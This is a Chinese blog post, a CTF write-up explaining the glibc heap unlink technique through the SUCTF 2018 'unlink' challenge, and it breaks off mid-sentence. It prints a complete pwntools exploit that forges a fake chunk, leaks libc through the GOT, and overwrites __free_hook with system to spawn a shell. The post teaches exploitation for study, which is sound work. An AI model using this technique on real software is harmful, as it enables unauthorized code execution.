堆漏洞 unlink
https://blog.csdn.net/Morphy_Amo/article/details/122631424
unlink是什么?第一次学到这个知识的时候我还以为是某种漏洞,但是当我做题的时候看到一篇文章才发现,unlink是glibc中的一个宏:
unlink()是glibc中的一个宏,其目的是将某一个空闲 chunk 从其所处的 bin 中脱链。在 malloc_consolidate() 函数中将 fastbin 中的空闲 chunk 整理到 unsorted_bin,在 malloc() 函数中用于将 unsorted_bin 中的空闲 chunk 整理到 smallbin 或者 largebin,以及在 mallo() 中获得堆空间时,均有可能调用 unlink() 宏。
这张图最后想表达的意思是我们在利用unlink之后最后实现的功能是,当前的P这个chunk脱离了正常的chunk链,但是从图中可以看出,这里P的fd指针和bk指针仍然指向了BKchunk和FDchunk。
那我们什么时候能使用unlink这个功能?从图中我们可以知道,要想实现这个功能,我们必须保证让BKchunk的fd指针指向FDchunk,并且FDchunk的bk指针要指向BKchunk。
以上这幅图都是在malloc中的模拟状态,总的而言,当我们想要释放一个堆块时,就会触发unlink操作,使得这个被释放的chunk能够进入它所属于的bins。
我们通过一道题目来详细讲解
[SUCTF 2018 招新赛]unlink
在take_note功能这里我们可以看到,出现溢出漏洞,这里我们就可以是用Unlink漏洞(关于什么使用Unlink漏洞:当文件中具有edit功能的函数,并且存在堆溢出漏洞,可以让我们修改相邻chunk的fd,bk指针时就可以使用)
然后我们可以开始着手:这里先放exp,方便后面对进行详细解释:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 from struct import packfrom ctypes import *from LibcSearcher import *from pwn import *context(arch='amd64' ,log_level='debug' ) def s (a ): io.send(a) def sa (a, b ): io.sendafter(a, b) def sl (a ): io.sendline(a) def sla (a, b ): io.sendlineafter(a, b) def r (): io.recv() def pr (): print (io.recv()) def rl (a ): return io.recvuntil(a) def inter (): io.interactive() def debug (): gdb.attach(io) pause() def get_addr (): return u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) def ret_csu (r12, r13, r14, r15, last ): payload = offset * 'a' payload += p64(gadget1) payload += p64(0 ) + p64(1 ) payload += p64(r12) payload += p64(r13) + p64(r14) + p64(r15) payload += p64(gadget2) payload += 'a' * 56 payload += p64(last) return payload io=process('./pwn' ) elf=ELF('./pwn' ) libc=ELF('./libc-2.23.so' ) def choose (num ): sla(b'chooice :' ,str (num)) def add (size ): choose(1 ) sla(b'size : ' ,str (size)) def free (num ): choose(2 ) sla(b'delete' ,str (num)) def show (num ): choose(3 ) sla(b'show' ,str (num)) def edit (num,content ): choose(4 ) sla(b'modify :' ,str (num)) sla(b'content' ,content) ptr=0x6020c0 add(0x20 ) add(0x80 ) add(0x100 ) payload=p64(0 ) payload+=p64(0x20 ) payload+=p64(ptr-0x18 ) payload+=p64(ptr-0x10 ) payload+=p64(0x20 ) payload+=p64(0x90 ) edit(0 ,payload) free(1 ) payload1=p64(0 )*3 +p64(0x6020c8 ) edit(0 ,payload1) payload=p64(elf.got['puts' ]) edit(0 ,payload) show(1 ) puts=get_addr() print ("puts=" ,hex (puts))libc_base=puts-libc.sym['puts' ] system=libc_base+libc.sym['system' ] bin_sh=libc_base+next (libc.search('/bin/sh\x00' )) free_hook=libc_base+libc.sym['__free_hook' ] payload=p64(free_hook)+p64(bin_sh) edit(0 ,payload) payload=p64(system) edit(1 ,payload) free(2 ) print (hex (system))print (hex (bin_sh))debug() inter()
这里我们创建的chunk都被放在了bss段上,并且地址是固定的,省去了我们寻找目标地址的过程。
刚开始在学习unlink时,我一直都没有搞懂所谓的实现任意地址读写的原因,后来在复现这道题目的时候有了进一步深刻理解。
这里我们创建了三个chunk,作用分别为:
0x20:用于狗仔fakechunk,溢出修改下一个chunk的内容
0x80:作为被修改的目标
0x100:与topchunk进行隔离
然后构造我们的payload:
1 2 3 4 5 6 7 payload=p64(0 ) payload+=p64(0x20 ) payload+=p64(ptr-0x18 ) payload+=p64(ptr-0x10 ) payload+=p64(0x20 ) payload+=p64(0x90 ) edit(0 ,payload)
我们来对比一下发送这段payload,chunk1的前后变化
修改前:
修改后:
这里pre_size位置被修改为0x20,相当于告诉操作系统在我的前面还有一个0x20大小的并且被free的chunk,size位置被修改为0x90大小代表这个大小为0x90的chunk(chunk1)是被free的,但是实际这个chunk没有被Free,是我们通过堆溢出修改size位,让系统误以为这个chunk已经被free了,满足unlink条件。
那么可能有人会问,前面的0x20大小的chunk是哪来的?
1 2 3 4 payload=p64(0 ) payload+=p64(0x20 ) payload+=p64(ptr-0x18 ) payload+=p64(ptr-0x10 )
我们再仔细看这段代码,实际就是构造了一个fake_chunk(大小为0x20),因此系统会误以为这是一个真实存在的chunk,并且由于它和chunk1相邻,并且他们满足unlink的条件,就会发生Unlink。于是他们就发生合并。并且这里要注意,由于我在chunk0中构造了一个fake_chunk,但是系统并不知道,所以在后续的修改当中,fake_chunk的编号变成了1,而chunk1和chunk2的编号便成了2,3。
然后我们这里free(1)
可以看到这里的fake_chunk的size位变成了0xb1证明已经unlink成功。
然后我们回想一下unlink之后会发生什么?
P->fd=FD->bk=BK
P->bk=BK->fd=FD
而我们这里将P的fd修改成了ptr-0x18
所以BK=ptr
由于我们可以定义BK的值,这就相当于可以修改ptr的值,可以指向我们想要到达的地址,实现任意地址读写,达成目的。
现在我们要搞清楚如何修改BK的值,首先要清楚这里的P就是我们刚刚在chunk0中构造的fake_chunk,那么我们的FD chunk应该是chunk 2(原来的0x80大小的chunk),但是由于unlink将两者合并了,所以我认为这里他们的fd,bk是共享的,修改了fake_chunk的bk就相当于修改了chunk2的bk,所以我们使用语句进行修改
1 2 payload1=p64(0 )*3 +p64(0x6020c8 ) edit(0 ,payload1)
这里我们调试看一下
可以看到成功改写了0x6020c0上的内容。
这样我们在edit chunk